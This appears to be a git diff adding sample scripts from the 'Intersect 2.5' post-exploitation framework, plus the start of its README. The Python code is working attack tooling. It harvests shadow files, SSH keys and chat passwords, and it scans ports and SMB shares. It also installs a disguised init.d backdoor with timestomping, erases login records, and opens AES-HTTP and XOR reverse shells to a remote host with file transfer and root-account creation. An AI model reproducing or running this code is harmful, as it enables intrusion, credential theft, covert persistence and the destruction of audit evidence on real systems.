b/Intersect-2.5/Scripts/Samples/Network.py @@ -0,0 +1,494 @@ +#!/usr/bin/python +# intersect 2.0 | created by ohdae +# copyright 2012 +# payload_template to be used with Create.py + +import sys, os, re, signal +from subprocess import Popen,PIPE,STDOUT,call +import platform +import shutil +import getopt +import tarfile +import socket +import urllib2 +import random, string +import logging +import struct +import getpass +import pwd +import thread +import base64 +import operator +import SocketServer, SimpleHTTPServer + +cut = lambda s: str(s).split("\0",1)[0] +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) + +try: + from scapy.all import * +except ImportError: + try: + from scapy import * + except ImportError: + print("Scapy is not installed. It can be downloaded here => https://www.secdev.org/projects/scapy/\n") + +def environment(): + global Home_Dir + global Temp_Dir + global Config_Dir + global User_Ip_Address + global UTMP_STRUCT_SIZE + global LASTLOG_STRUCT_SIZE + global UTMP_FILEPATH + global WTMP_FILEPATH + global LASTLOG_FILEPATH + global distro + global distro2 + + ## Global variables for remote shells are defined during the creation process + ## Variables for Scrub module. Do not change unless you know what you're doing. + UTMP_STRUCT_SIZE = 384 + LASTLOG_STRUCT_SIZE = 292 + UTMP_FILEPATH = "/var/run/utmp" + WTMP_FILEPATH = "/var/log/wtmp" + LASTLOG_FILEPATH = "/var/log/lastlog" + + distro = os.uname()[1] + distro2 = platform.linux_distribution()[0] + + Home_Dir = os.environ['HOME'] + User_Ip_Address = socket.gethostbyname(socket.gethostname()) + + Rand_Dir = ''.join(random.choice(string.letters) for i in xrange(12)) + Temp_Dir = "/tmp/lift-"+"%s" % Rand_Dir + Config_Dir = Temp_Dir+"/configs/" + + if os.geteuid() != 0: + print("[*] Intersect should be executed as a root user. If you are not root, Intersect can check for privilege escalation vulnerabilites.") + print("[*] Enter '1' to check for possible vulnerabilities (privesc module must be loaded). Enter '99' to exit without checking.") + option = raw_input("=> " ) + if option == '1': + privesc() + sys.exit() + else: + sys.exit() + else: + pass + + signal.signal(signal.SIGINT, signalHandler) + + os.system("clear") + print("[+] Creating temporary working environment....") + + os.chdir(Home_Dir) + + if os.path.exists(Temp_Dir) is True: + os.system("rm -rf "+Temp_Dir) + + if os.path.exists(Temp_Dir) is False: + os.mkdir(Temp_Dir) + + print "[!] Reports will be saved in: %s" % Temp_Dir + + +def signalHandler(signal, frame): + print("[!] Ctrl-C caught, shutting down now"); + Shutdown() + + +def Shutdown(): + if not os.listdir(Temp_Dir): + os.rmdir(Temp_Dir) + sys.exit() + +def whereis(program): + for path in os.environ.get('PATH', '').split(':'): + if os.path.exists(os.path.join(path, program)) and \ + not os.path.isdir(os.path.join(path, program)): + return os.path.join(path, program) + return None + + +def copy2temp(filename, subdir=""): + if os.path.exists(filename) is True: + pass + if subdir == "" is True: + shutil.copy2(filename, Temp_Dir) + else: + if os.path.exists(Temp_Dir+"/"+subdir) is True: + subdir = (Temp_Dir+"/"+subdir) + shutil.copy2(filename, subdir) + elif os.path.exists(subdir) is True: + shutil.copy2(filename, subdir) + else: + subdir = (Temp_Dir+"/"+subdir) + os.mkdir(subdir) + shutil.copy2(filename, subdir) + else: + pass + +def write2file(filename, text): + if os.path.exists(filename) is True: + target = open(filename, "a") + target.write(text) + target.close() + else: + pass + +def writenew(filename, content): + new = open(filename, "a") + new.write(content) + new.close() + +def file2file(readfile, writefile): + if os.path.exists(readfile) is True: + readfile = open(readfile) + if os.path.exists(writefile) is True: + writefile = open(writefile, "a") + for lines in readfile.readlines(): + writefile.write(lines) + writefile.close() + readfile.close() + else: + readfile.close() + else: + pass + +def maketemp(subdir): + moddir = (Temp_Dir+"/"+subdir) + if os.path.exists(moddir) is False: + os.mkdir(moddir) + else: + pass + +def users(): + global userlist + userlist = [] + passwd = open('/etc/passwd') + for line in passwd: + fields = line.split(':') + uid = int(fields[2]) + if uid > 500 and uid < 32328: + userlist.append(fields[0]) + +def combinefiles(newfile, filelist): + content = '' + for f in filelist: + if os.path.exists(f) is True: + content = content + '\n' + open(f).read() + open(newfile,'wb').write(content) + else: + pass + +def tardir(name, directory): + tar = tarfile.open("%s.tar.gz", "w:gz" % name) + if os.path.exists(directory) is True: + tar.add("%s/" % directory) + print("[+] %s added to %s.tar.gz" % (name, directory)) + tar.close() + else: + print("[!] Could not find directory %s " % directory) + tar.close() + +def tarlist(name, filelist): + tar = tarfile.open("%s.tar.gz" % name, "w:gz") + for files in filelist: + if os.path.exists(files) is True: + tar.add(files) + else: + print("[!] %s not found. Skipping.." % files) + tar.close() + + print("[+] %s.tar.gz file created!" % name) + + + + +def globalvars(): + global PORT + global RHOST + global RPORT + global PPORT + global PKEY + global modList + + modList = ['network', 'creds', 'egressbuster', 'openshares', 'portscan'] + PORT = 8888 + RHOST = '' + RPORT = 8888 + PPORT = 8080 + PKEY = 'KXYRTUX' +def network(): + ''' + @description: collects network information such as listening ports, DNS info, active connections, firewall rules, etc + @author: ohdae [bindshell@live.com] + @short: enumerate network info + ''' + print("[+] Collecting network info: services, ports, active connections, dns, gateways, etc...") + maketemp("network") + networkdir = Temp_Dir+"/network" + os.chdir(networkdir) + + proc = Popen('netstat --tcp --listening', + shell=True, + stdout=PIPE, + ) + output = proc.communicate()[0] + + file = open("nstat.txt","a") + for items in output: + file.write(items), + file.close() + + os.system("lsof -nPi > lsof.txt") + ports = ["nstat.txt","lsof.txt"] + combinefiles("Connections.txt", ports) + os.system("rm nstat.txt lsof.txt") + + if whereis('iptables') is not None: + os.system("iptables -L -n > iptablesLN.txt") + os.system("iptables-save > iptables_save.txt") + else: + pass + + os.system("ifconfig -a > ifconfig.txt") + + + if distro == "ubuntu" or distro2 == "Ubuntu" is True: + os.system("hostname -I > IPAddresses.txt") + else: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("google.com",80)) + localIP = (s.getsockname()[0]) + s.close() + splitIP = localIP.split('.') + splitIP[3:] = (['0/24']) + IPRange = ".".join(splitIP) + externalIP = ip = urllib2.urlopen("http://myip.ozymo.com/").read() + text = ("External IP Address: " + externalIP + "\nInternal IP Address: " + localIP + "\nInternal IP Range: " + IPRange) + writenew("IPAddresses.txt", text) + + os.system("hostname -f > hostname.txt") + + netfiles = ["IPAddresses.txt","hostname.txt","ifconfig.txt"] + combinefiles("NetworkInfo.txt", netfiles) + os.system("rm IPAddresses.txt hostname.txt ifconfig.txt") + + network = [ "/etc/hosts.deny", "/etc/hosts.allow", "/etc/inetd.conf", "/etc/host.conf", "/etc/resolv.conf" ] + for x in network: + copy2temp(x, networkdir) + + + +def creds(): + ''' + @description: Gather user and system credentials. Looks for passwords, SSH keys, SSL certs, certain application creds, user histories and more. + @author: ohdae [bindshell@live.com] + @short: enumerate user and system credentials + ''' + print("[+] Collecting user and system credentials....") + maketemp("credentials") + os.chdir(Temp_Dir+"/credentials/") + + os.system('getent passwd > passwd.txt') + os.system('getent shadow > shadow.txt') + os.system("lastlog > lastlog.txt") + os.system("last -a > last.txt") + os.system("getent aliases > mail_aliases.txt") + + + os.system("find / -maxdepth 3 -name .ssh > ssh_locations.txt") + os.system("ls /home/*/.ssh/* > ssh_contents.txt") + sshfiles = ["ssh_locations.txt","ssh_contents.txt"] + combinefiles("SSH_Locations.txt", sshfiles) + os.system("rm ssh_locations.txt ssh_contents.txt") + if os.path.exists(Home_Dir+"/.bash_history") is True: + os.system("cat "+Home_Dir+"/.bash_history | grep ssh > SSH_History.txt") + + + credentials = [ "/etc/master.passwd", "/etc/sudoers", "/etc/ssh/sshd_config", Home_Dir+"/.ssh/id_dsa", Home_Dir+"/.ssh/id_dsa.pub", + Home_Dir+"/.ssh/id_rsa", Home_Dir+"/.ssh/id_rsa.pub", Home_Dir+"/.gnupg/secring.gpg", Home_Dir+"/.ssh/authorized_keys", + Home_Dir+"/.ssh/known_hosts", "/etc/gshadow", "/etc/ca-certificates.conf", "/etc/passwd" ] + for x in credentials: + copy2temp(x, "credentials") + + + users() + if whereis('pidgin') is not None: + for user in userlist: + if os.path.exists("/home/"+user+"/.purple/accounts.xml") is True: + accts = open("/home/"+user+"/.purple/accounts.xml") + saved = open("Pidgin.txt", "a") + for line in accts.readlines(): + if '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + else: + pass + + accts.close() + saved.close() + + for user in userlist: + if os.path.exists("/home/"+user+"/.irssi/config") is True: + accts = open("/home/"+user+"/.irssi/config") + saved = open("irssi.txt", "a") + for line in accts.readlines(): + if "password = " in line: + saved.write(line) + else: + pass + accts.close() + saved.close() + + for user in userlist: + copy2temp("/home/"+user+"/.znc/configs/znc.conf") + + + + +def egressbuster(): + ''' + @description: Checks a range of ports to find available outbound ports. used to break egress filters. + @author: original code by David Kennedy aka ReL1K + @short: finds open outbound ports + ''' + if len(sys.argv) <=2: + print("[!] Must specify a port-range!") + sys.exit() + + portrange = sys.argv[2] + portrange = portrange.split("-") + lowport = int(portrange[0]) + highport = int(portrange[1]) + base_port = int(lowport)-1 + end_port = int(highport) + + print "Sending packets to egress listener..." + + while 1: + base_port = base_port + 1 + thread.start_new_thread(start_socket, (RHOST,base_port)) + + time.sleep(0.02) + + if base_port == end_port: + break + + print "All packets have been sent" + + +def start_socket(RHOST,base_port): + try: + sockobj = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sockobj.connect((RHOST, base_port)) + sockobj.send(str(base_port)) + sockobj.close() + except Exception, e: + print e + # pass through, ports closed + pass + + + +def openshares(): + ''' + @description: Uses smbclient to find open SMB shares on a specified host. Usage: ./Intersect.py --openshares 192.168.1.4 + @author: ohdae [bindshell@live.com] + @short: find open SMB shares + ''' + ipaddr = sys.argv[2] + + if whereis('smbclient') is None: + print("[!] SMBClient cannot be found on this system!") + sys.exit() + + else: + print("[+] Enumerating open shares....\n") + + os.popen("/usr/bin/smbclient -L %s -N" % ipaddr) + + getdisks = os.popen(r'/usr/bin/smbclient -L %s -N 2>/dev/null| grep " Disk " | sed -e "s/ Disk .*//" | sed -e "s/^[ \t]*//"' % ipaddr) + disks = getdisks.readlines() + disks = filter(None, disks) + disks = [d.strip() for d in disks] + getdisks.close() + + for disk in disks: + proc = Popen('/usr/bin/smbclient //%s/"%s" -N -c "dir;exit" 2>/dev/null'%(ipaddr,disk), + shell=True, + stdout=PIPE, + ) + output = proc.communicate()[0] + print("[+] Contents of %s " % disk) + print output + +def portscan(): + ''' + @description: Very simple port scan. Scans ports 1 - 1000 on specified IP. Best used against LAN hosts. Usage: ./Intersect.py -p 192.168.1.4 + @author: ohdae [bindshell@live.com] + @short: port scanner (-p ) + ''' + if len(sys.argv) <=2: + print("[!] Must specify an IP address!") + Shutdown() + + ipaddr = sys.argv[2] + print("[+] Starting portscan of: %s " % ipaddr) + + for i in range(1, 1000): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + result = s.connect_ex((ipaddr, i)) + if(result == 0) : + print("[+] Port open %d " % (i,)) + s.close() + + + +def usage(): + print('============================================') + print(' intersect 2.5 | custom version ') + print(' http://bindshell.it.cx | ohdae') + print(' Modules:') + print(' -n --network enumerate network info') + print(' -c --creds enumerate user and system credentials') + print(' -e --egressbuster finds open outbound ports') + print(' -o --openshares find open SMB shares') + print(' -p --portscan port scanner (-p )') + +def main(argv): + try: + opts, args = getopt.getopt(sys.argv[1:], 'nceop', ['network', 'creds', 'egressbuster', 'openshares', 'portscan', 'help']) + except getopt.GetoptError, err: + print str(err) + Shutdown() + for o, a in opts: + if o in ('-h', '--help'): + usage() + Shutdown() + sys.exit(2) + elif o in ('-n', '--network'): + network() + elif o in ('-c', '--creds'): + creds() + elif o in ('-e', '--egressbuster'): + egressbuster() + elif o in ('-o', '--openshares'): + openshares() + elif o in ('-p', '--portscan'): + portscan() + else: + assert False, 'unhandled option' + Shutdown() + + +globalvars() +environment() +if __name__ == "__main__": + if len(sys.argv) <=1: + usage() + main(sys.argv[1:]) \ No newline at end of file diff --git a/Intersect-2.5/Scripts/Samples/Persist.py b/Intersect-2.5/Scripts/Samples/Persist.py new file mode 100644 index 0000000..94e55aa --- /dev/null +++ b/Intersect-2.5/Scripts/Samples/Persist.py @@ -0,0 +1,677 @@ +#!/usr/bin/python +# intersect 2.0 | created by ohdae +# copyright 2012 +# payload_template to be used with Create.py + +import sys, os, re, signal +from subprocess import Popen,PIPE,STDOUT,call +import platform +import shutil +import getopt +import tarfile +import socket +import urllib2 +import random, string +import logging +import struct +import getpass +import pwd +import thread +import base64 +import operator +import SocketServer, SimpleHTTPServer + +cut = lambda s: str(s).split("\0",1)[0] +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) + +try: + from scapy.all import * +except ImportError: + try: + from scapy import * + except ImportError: + print("Scapy is not installed. It can be downloaded here => https://www.secdev.org/projects/scapy/\n") + +def environment(): + global Home_Dir + global Temp_Dir + global Config_Dir + global User_Ip_Address + global UTMP_STRUCT_SIZE + global LASTLOG_STRUCT_SIZE + global UTMP_FILEPATH + global WTMP_FILEPATH + global LASTLOG_FILEPATH + global distro + global distro2 + + ## Global variables for remote shells are defined during the creation process + ## Variables for Scrub module. Do not change unless you know what you're doing. + UTMP_STRUCT_SIZE = 384 + LASTLOG_STRUCT_SIZE = 292 + UTMP_FILEPATH = "/var/run/utmp" + WTMP_FILEPATH = "/var/log/wtmp" + LASTLOG_FILEPATH = "/var/log/lastlog" + + distro = os.uname()[1] + distro2 = platform.linux_distribution()[0] + + Home_Dir = os.environ['HOME'] + User_Ip_Address = socket.gethostbyname(socket.gethostname()) + + Rand_Dir = ''.join(random.choice(string.letters) for i in xrange(12)) + Temp_Dir = "/tmp/lift-"+"%s" % Rand_Dir + Config_Dir = Temp_Dir+"/configs/" + + if os.geteuid() != 0: + print("[*] Intersect should be executed as a root user. If you are not root, Intersect can check for privilege escalation vulnerabilites.") + print("[*] Enter '1' to check for possible vulnerabilities (privesc module must be loaded). Enter '99' to exit without checking.") + option = raw_input("=> " ) + if option == '1': + privesc() + sys.exit() + else: + sys.exit() + else: + pass + + signal.signal(signal.SIGINT, signalHandler) + + os.system("clear") + print("[+] Creating temporary working environment....") + + os.chdir(Home_Dir) + + if os.path.exists(Temp_Dir) is True: + os.system("rm -rf "+Temp_Dir) + + if os.path.exists(Temp_Dir) is False: + os.mkdir(Temp_Dir) + + print "[!] Reports will be saved in: %s" % Temp_Dir + + +def signalHandler(signal, frame): + print("[!] Ctrl-C caught, shutting down now"); + Shutdown() + + +def Shutdown(): + if not os.listdir(Temp_Dir): + os.rmdir(Temp_Dir) + sys.exit() + +def whereis(program): + for path in os.environ.get('PATH', '').split(':'): + if os.path.exists(os.path.join(path, program)) and \ + not os.path.isdir(os.path.join(path, program)): + return os.path.join(path, program) + return None + + +def copy2temp(filename, subdir=""): + if os.path.exists(filename) is True: + pass + if subdir == "" is True: + shutil.copy2(filename, Temp_Dir) + else: + if os.path.exists(Temp_Dir+"/"+subdir) is True: + subdir = (Temp_Dir+"/"+subdir) + shutil.copy2(filename, subdir) + elif os.path.exists(subdir) is True: + shutil.copy2(filename, subdir) + else: + subdir = (Temp_Dir+"/"+subdir) + os.mkdir(subdir) + shutil.copy2(filename, subdir) + else: + pass + +def write2file(filename, text): + if os.path.exists(filename) is True: + target = open(filename, "a") + target.write(text) + target.close() + else: + pass + +def writenew(filename, content): + new = open(filename, "a") + new.write(content) + new.close() + +def file2file(readfile, writefile): + if os.path.exists(readfile) is True: + readfile = open(readfile) + if os.path.exists(writefile) is True: + writefile = open(writefile, "a") + for lines in readfile.readlines(): + writefile.write(lines) + writefile.close() + readfile.close() + else: + readfile.close() + else: + pass + +def maketemp(subdir): + moddir = (Temp_Dir+"/"+subdir) + if os.path.exists(moddir) is False: + os.mkdir(moddir) + else: + pass + +def users(): + global userlist + userlist = [] + passwd = open('/etc/passwd') + for line in passwd: + fields = line.split(':') + uid = int(fields[2]) + if uid > 500 and uid < 32328: + userlist.append(fields[0]) + +def combinefiles(newfile, filelist): + content = '' + for f in filelist: + if os.path.exists(f) is True: + content = content + '\n' + open(f).read() + open(newfile,'wb').write(content) + else: + pass + +def tardir(name, directory): + tar = tarfile.open("%s.tar.gz", "w:gz" % name) + if os.path.exists(directory) is True: + tar.add("%s/" % directory) + print("[+] %s added to %s.tar.gz" % (name, directory)) + tar.close() + else: + print("[!] Could not find directory %s " % directory) + tar.close() + +def tarlist(name, filelist): + tar = tarfile.open("%s.tar.gz" % name, "w:gz") + for files in filelist: + if os.path.exists(files) is True: + tar.add(files) + else: + print("[!] %s not found. Skipping.." % files) + tar.close() + + print("[+] %s.tar.gz file created!" % name) + + + + +def globalvars(): + global PORT + global RHOST + global RPORT + global PPORT + global PKEY + global modList + + modList = ['persistent', 'daemon', 'creds', 'scrub', 'aeshttp', 'reversexor'] + PORT = 8888 + RHOST = '192.168.1.4' + RPORT = 4444 + PPORT = 8888 + PKEY = 'KXYRTUX' +def persistent(): + ''' + @description: Installs any Intersect shell module as a persistent backdoor. Will start shell on every system reboot. + @author: ohdae [bindshell@live.com] | additional code and fixes by bonsaiviking + @short: install persistent backdoor + ''' + header = " => " + print("Select option: ") + print("1. Add new service") + print("2. Remove existing persistence") + option = raw_input("%s " % (header)) + + if option == '1': + addpersist() + elif option == '2': + if os.path.exists("/etc/init.d/sysupd") is True: + print("[+] Removing Intersect persistence...") + if whereis('chattr') is not None: + os.system("chattr -i /etc/init.d/sysupd") + os.system("chattr -i /etc/default/sysupd") + os.system("rm /etc/init.d/sysupd") + os.system("update-rc.d sysupd remove") + os.system("rm /etc/default/sysupd") + print("[+] Persistent shell successfully removed!") + else: + print("[!] No existing persistent shell found!") + else: + print("[!] Invalid option! Enter '1' or '2'") + + +def addpersist(): + header = " => " + print("Full path of your Intersect script: ") + currentfile = raw_input("%s " % (header)) + + if os.path.exists(currentfile) is True: + shutil.copy2(currentfile, "/etc/default/sysupd") + else: + print("[!] Incorrect file path, Try again!") + persistent() + + + print("Specify which shell to use: ") + shell = raw_input("%s " % (header)) + + if shell in modList is False: + print("[!] Shell module not loaded!") + persistent() + else: + if os.path.isdir("/etc/init.d"): + serwrite = open("/etc/init.d/sysupd", "w") + serwrite.write("#!/bin/sh\ncd /etc/default/\npython sysupd --%s &" % shell) + serwrite.close() + os.system("chmod +x /etc/init.d/sysupd") + os.system("update-rc.d sysupd defaults") + print("[+] Persistent service installed.") + print("[+] Modifying accessed and modified times on shell files.") + copystat = os.stat('/etc/init.d/rcS') + os.utime("/etc/default/sysupd",(copystat.st_atime, copystat.st_mtime)) + os.utime("/etc/init.d/sysupd",(copystat.st_atime, copystat.st_mtime)) + print("[+] Attempting to lock down shell files...") + if whereis('chattr') is not None: + status = os.system("chattr +i /etc/default/sysupd") + if status & 0xff00: + print("[!] Chattr exited with non-zero status. Could not lock files.") + status = os.system("chattr +i /etc/init.d/sysupd") + if status & 0xff00: + print("[!] Chattr exited with non-zero status. Could not lock files.") + else: + print("[!] Chattr not found. Could not lock files.") + + print("[+] Persistent shell successfull! System will now start your shell as a background process on every reboot.") + + + + + +def daemon(stdin='/dev/null', stdout='/dev/null', stderr='/dev/null'): + ''' + @description: Daemonize an Intersect script. When executed you'll be given the PID to monitor or kill the task if needed + @author: ohdae [bindshell@live.com] + @short: run as background process + ''' + try: + pid = os.fork() + if pid > 0: + sys.exit(0) + except OSError, e: + print >>sys.stderr, "fork one failed: %d (%s)" % (e.errno, e.strerror) + sys.exit(1) + + os.chdir("/") + os.setsid() + os.umask(0) + + try: + pid = os.fork() + if pid > 0: + print "[+] Daemon PID %d" % pid + sys.exit(0) + except OSError, e: + print("[!] Intersect will now run in the background. Check %s for your reports." % Temp_Dir) + print >>sys.stderr, "fork #2 failed: %d (%s)" % (e.errno, e.strerror) + sys.exit(1) + + si = file(stdin, 'r') + so = file(stdout, 'a+') + se = file(stderr, 'a+', 0) + os.dup2(si.fileno(), sys.stdin.fileno()) + os.dup2(so.fileno(), sys.stdout.fileno()) + os.dup2(se.fileno(), sys.stderr.fileno()) + + + +def creds(): + ''' + @description: Gather user and system credentials. Looks for passwords, SSH keys, SSL certs, certain application creds, user histories and more. + @author: ohdae [bindshell@live.com] + @short: enumerate user and system credentials + ''' + print("[+] Collecting user and system credentials....") + maketemp("credentials") + os.chdir(Temp_Dir+"/credentials/") + + os.system('getent passwd > passwd.txt') + os.system('getent shadow > shadow.txt') + os.system("lastlog > lastlog.txt") + os.system("last -a > last.txt") + os.system("getent aliases > mail_aliases.txt") + + + os.system("find / -maxdepth 3 -name .ssh > ssh_locations.txt") + os.system("ls /home/*/.ssh/* > ssh_contents.txt") + sshfiles = ["ssh_locations.txt","ssh_contents.txt"] + combinefiles("SSH_Locations.txt", sshfiles) + os.system("rm ssh_locations.txt ssh_contents.txt") + if os.path.exists(Home_Dir+"/.bash_history") is True: + os.system("cat "+Home_Dir+"/.bash_history | grep ssh > SSH_History.txt") + + + credentials = [ "/etc/master.passwd", "/etc/sudoers", "/etc/ssh/sshd_config", Home_Dir+"/.ssh/id_dsa", Home_Dir+"/.ssh/id_dsa.pub", + Home_Dir+"/.ssh/id_rsa", Home_Dir+"/.ssh/id_rsa.pub", Home_Dir+"/.gnupg/secring.gpg", Home_Dir+"/.ssh/authorized_keys", + Home_Dir+"/.ssh/known_hosts", "/etc/gshadow", "/etc/ca-certificates.conf", "/etc/passwd" ] + for x in credentials: + copy2temp(x, "credentials") + + + users() + if whereis('pidgin') is not None: + for user in userlist: + if os.path.exists("/home/"+user+"/.purple/accounts.xml") is True: + accts = open("/home/"+user+"/.purple/accounts.xml") + saved = open("Pidgin.txt", "a") + for line in accts.readlines(): + if '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + else: + pass + + accts.close() + saved.close() + + for user in userlist: + if os.path.exists("/home/"+user+"/.irssi/config") is True: + accts = open("/home/"+user+"/.irssi/config") + saved = open("irssi.txt", "a") + for line in accts.readlines(): + if "password = " in line: + saved.write(line) + else: + pass + accts.close() + saved.close() + + for user in userlist: + copy2temp("/home/"+user+"/.znc/configs/znc.conf") + + + + +def scrub(): + ''' + @description: Attempts to remove the currently logged in username and IP address from utmp, wtmp and lastlog. Intrusive method. + @author: ohdae [bindshell@live.com] + @short: cleans utmp, wtmp and lastlog + ''' + try: + Current_User = os.getlogin() + except OSError: + print "[!] Cannot find user in logs. Did you all ready run --scrub ?" + return + + newUtmp = scrubFile(UTMP_FILEPATH, Current_User) + writeNewFile(UTMP_FILEPATH, newUtmp) + print "[+] %s cleaned" % UTMP_FILEPATH + + newWtmp = scrubFile(WTMP_FILEPATH, Current_User) + writeNewFile(WTMP_FILEPATH, newWtmp) + print "[+] %s cleaned" % WTMP_FILEPATH + + newLastlog = scrubLastlogFile(LASTLOG_FILEPATH, Current_User) + writeNewFile(LASTLOG_FILEPATH, newLastlog) + print "[+] %s cleaned" % LASTLOG_FILEPATH + + +def scrubFile(filePath, Current_User): + newUtmp = "" + with open(filePath, "rb") as f: + bytes = f.read(UTMP_STRUCT_SIZE) + while bytes != "": + data = struct.unpack("hi32s4s32s256shhiii36x", bytes) + if cut(data[4]) != Current_User and cut(data[5]) != User_Ip_Address: + newUtmp += bytes + bytes = f.read(UTMP_STRUCT_SIZE) + f.close() + return newUtmp + + +def scrubLastlogFile(filePath, Current_User): + pw = pwd.getpwnam(Current_User) + uid = pw.pw_uid + idCount = 0 + newLastlog = '' + + with open(filePath, "rb") as f: + bytes = f.read(LASTLOG_STRUCT_SIZE) + while bytes != "": + data = struct.unpack("hh32s256s", bytes) + if (idCount != uid): + newLastlog += bytes + idCount += 1 + bytes = f.read(LASTLOG_STRUCT_SIZE) + return newLastlog + + +def writeNewFile(filePath, fileContents): + f = open(filePath, "w+b") + f.write(fileContents) + f.close() + + + +def aeshttp(): + ''' + @description: Starts a reverse HTTP shell with AES encryption that will connect back to a remote host. + @short: reverse AES HTTP shell + @author: original code by David Kennedy aka ReL1k + ''' + import httplib + import urllib + try: + from Crypto.Cipher import AES + except ImportError: + print("[!] Python Crypto library is not installed. This module will not work without this!") + sys.exit(2) + + BLOCK_SIZE = 32 + PADDING = '{' + pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING + EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) + DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) + + secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2" + + cipher = AES.new(secret) + + while 1: + + req = urllib2.Request('http://%s:%s' % (RHOST,RPORT)) + message = urllib2.urlopen(req) + message = base64.b64decode(message.read()) + message = DecodeAES(cipher, message) + + if message == "killme": + sys.exit() + + if message.startswith("cd"): + destination = message[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + else: + pass + + + proc = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + + data = proc.stdout.read() + proc.stderr.read() + data = EncodeAES(cipher, data) + data = base64.b64encode(data) + data = urllib.urlencode({'cmd': '%s'}) % (data) + h = httplib.HTTPConnection('%s:%s' % (RHOST,RPORT)) + headers = {"User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)","Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"} + h.request('POST', '/index.aspx', data, headers) + + + +def xor(string, key): + ''' + @description: Opens a reverse XOR ciphered TCP shell to a remote host. Interactive shell with download/upload and remote Intersect module execution. + @author: ohdae [bindshell@live.com] + @short: reverse XOR TCP shell + ''' + data = '' + for char in string: + for ch in key: + char = chr(ord(char) ^ ord(ch)) + data += char + return data + + +def reversexor(): + socksize = 4096 + conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + conn.connect((RHOST, RPORT)) + conn.send(xor("[+] New connection established!", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + except: + print("[!] Connection error!") + sys.exit(2) + + while True: + cmd = conn.recv(socksize) + cmd2 = xor(cmd, PKEY) + proc = Popen(cmd2, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd2.startswith('cd'): + destination = cmd2[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + elif os.path.isdir(os.getcwd()+destination): + os.chdir(os.getcwd()+destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + else: + conn.send(xor("[!] Directory does not exist", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith('adduser'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send(xor("[+] Root account " + acct + " has been created.", PKEY)) + + elif cmd2.startswith('upload'): + getname = cmd2.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + filedata = xor(data, PKEY) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send(xor("[+] File upload complete!", PKEY)) + if not os.path.isfile(filename): + conn.send(xor("[!] File upload failed! Please try again", PKEY)) + + elif cmd2.startswith('download'): + getname = cmd2.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + senddata = xor(filedata, PKEY) + conn.sendall(senddata) + else: + conn.send(xor("[+] File not found!", PKEY)) + + elif cmd2.startswith("rebootsys"): + conn.send(xor("[!] Server system is going down for a reboot!", PKEY)) + os.system("shutdown -h now") + + elif cmd2 == ("extask"): + conn.send(xor(str(modList), PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith("extask"): + getname = cmd.split(" ") + modname = getname[1] + if modname in modList is False: + conn.send(xor("[!] Module not loaded!", PKEY)) + else: + conn.send(xor("[+] Executing %s " % modname, PKEY)) + execmod = modname+"()" + execmod + + elif cmd2 == ('killme'): + conn.send(xor("[!] Shutting down shell!\n", PKEY)) + conn.close() + sys.exit(0) + + elif proc: + conn.send(xor( stdout , PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + + + +def usage(): + print('============================================') + print(' intersect 2.5 | custom version ') + print(' http://bindshell.it.cx | ohdae') + print(' Modules:') + print(' -p --persistent install persistent backdoor') + print(' -d --daemon run as background process') + print(' -c --creds enumerate user and system credentials') + print(' -s --scrub cleans utmp, wtmp and lastlog') + print(' -a --aeshttp reverse AES HTTP shell') + print(' -r --reversexor reverse XOR TCP shell') + +def main(argv): + try: + opts, args = getopt.getopt(sys.argv[1:], 'pdcsar', ['persistent', 'daemon', 'creds', 'scrub', 'aeshttp', 'reversexor', 'help']) + except getopt.GetoptError, err: + print str(err) + Shutdown() + for o, a in opts: + if o in ('-h', '--help'): + usage() + Shutdown() + sys.exit(2) + elif o in ('-p', '--persistent'): + persistent() + elif o in ('-d', '--daemon'): + daemon() + elif o in ('-c', '--creds'): + creds() + elif o in ('-s', '--scrub'): + scrub() + elif o in ('-a', '--aeshttp'): + aeshttp() + elif o in ('-r', '--reversexor'): + reversexor() + else: + assert False, 'unhandled option' + Shutdown() + + +globalvars() +environment() +if __name__ == "__main__": + if len(sys.argv) <=1: + usage() + main(sys.argv[1:]) \ No newline at end of file diff --git a/Intersect-2.5/Scripts/Samples/README b/Intersect-2.5/Scripts/Samples/README new file mode 100644 index 0000000..1192b56 --- /dev/null +++ b/Intersect-2.5/Scripts/Samples/README @@ -0,0 +1,17 @@ +Intersect 2.5 Framework - Sample Scripts + +This folder contains some pre-built sample Intersect scripts. These scripts are just examples to show you the end result +of a custom built script. Each pre-built script focuses on a specific area, such as persistence, network information, exfiltration, etc. +A quick explanation of each sample and the included modules is listed below. + 